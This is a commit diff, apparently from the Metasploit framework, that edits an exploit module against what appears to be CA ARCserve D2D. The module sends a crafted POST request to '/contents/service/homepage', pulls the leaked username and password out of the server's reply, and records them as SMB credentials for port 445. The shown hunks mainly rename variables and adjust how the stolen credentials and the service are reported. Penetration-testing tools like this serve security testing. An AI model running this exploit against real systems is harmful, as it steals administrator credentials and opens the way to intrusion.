Add commas
git-svn-id: file:///home/svn/framework3/trunk@14007 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
521aec205b
commit
091b9779e2
|
@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
cookie = "donotshowgettingstarted=%7B%22state%22%3Atrue%7D"
|
cookie = "donotshowgettingstarted=%7B%22state%22%3Atrue%7D"
|
||||||
|
|
||||||
resp = send_request_raw({
|
res = send_request_raw({
|
||||||
'uri' => '/contents/service/homepage',
|
'uri' => '/contents/service/homepage',
|
||||||
'version' => '1.1',
|
'version' => '1.1',
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
|
@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
}
|
}
|
||||||
}, 5)
|
}, 5)
|
||||||
|
|
||||||
resp = resp.to_s.split(',')
|
resp = res.to_s.split(',')
|
||||||
|
|
||||||
user_index = resp.index("\"user\"")
|
user_index = resp.index("\"user\"")
|
||||||
pass_index = resp.index("\"password\"")
|
pass_index = resp.index("\"password\"")
|
||||||
|
@ -102,19 +102,28 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
user = resp[user_index+1].gsub(/\"/, "")
|
user = resp[user_index+1].gsub(/\"/, "")
|
||||||
pass = resp[pass_index+1].gsub(/\"/, "")
|
pass = resp[pass_index+1].gsub(/\"/, "")
|
||||||
end
|
end
|
||||||
|
|
||||||
# report the auth
|
# report the auth
|
||||||
auth = {
|
auth = {
|
||||||
:host => datastore['RHOST'],
|
:host => datastore['RHOST'],
|
||||||
:port => datastore['RPORT'],
|
:port => 445,
|
||||||
:sname => 'ca.arcserver.d2d',
|
:sname => 'smb',
|
||||||
|
:proto => 'tcp',
|
||||||
:user => user,
|
:user => user,
|
||||||
:pass => pass,
|
:pass => pass,
|
||||||
:active => true
|
:active => true
|
||||||
}
|
}
|
||||||
report_auth_info(auth)
|
report_auth_info(auth)
|
||||||
|
|
||||||
if user.nil? or pass.nil? or user.empty? or pass.empty?
|
srvc = {
|
||||||
|
:host => datastore['RHOST'],
|
||||||
|
:port => datastore['RPORT'],
|
||||||
|
:proto => 'tcp',
|
||||||
|
:name => 'http',
|
||||||
|
:info => res.headers['Server']
|
||||||
|
}
|
||||||
|
report_service(srvc)
|
||||||
|
if user.nil? or pass.nil?
|
||||||
print_error("Failed to collect the username and password")
|
print_error("Failed to collect the username and password")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue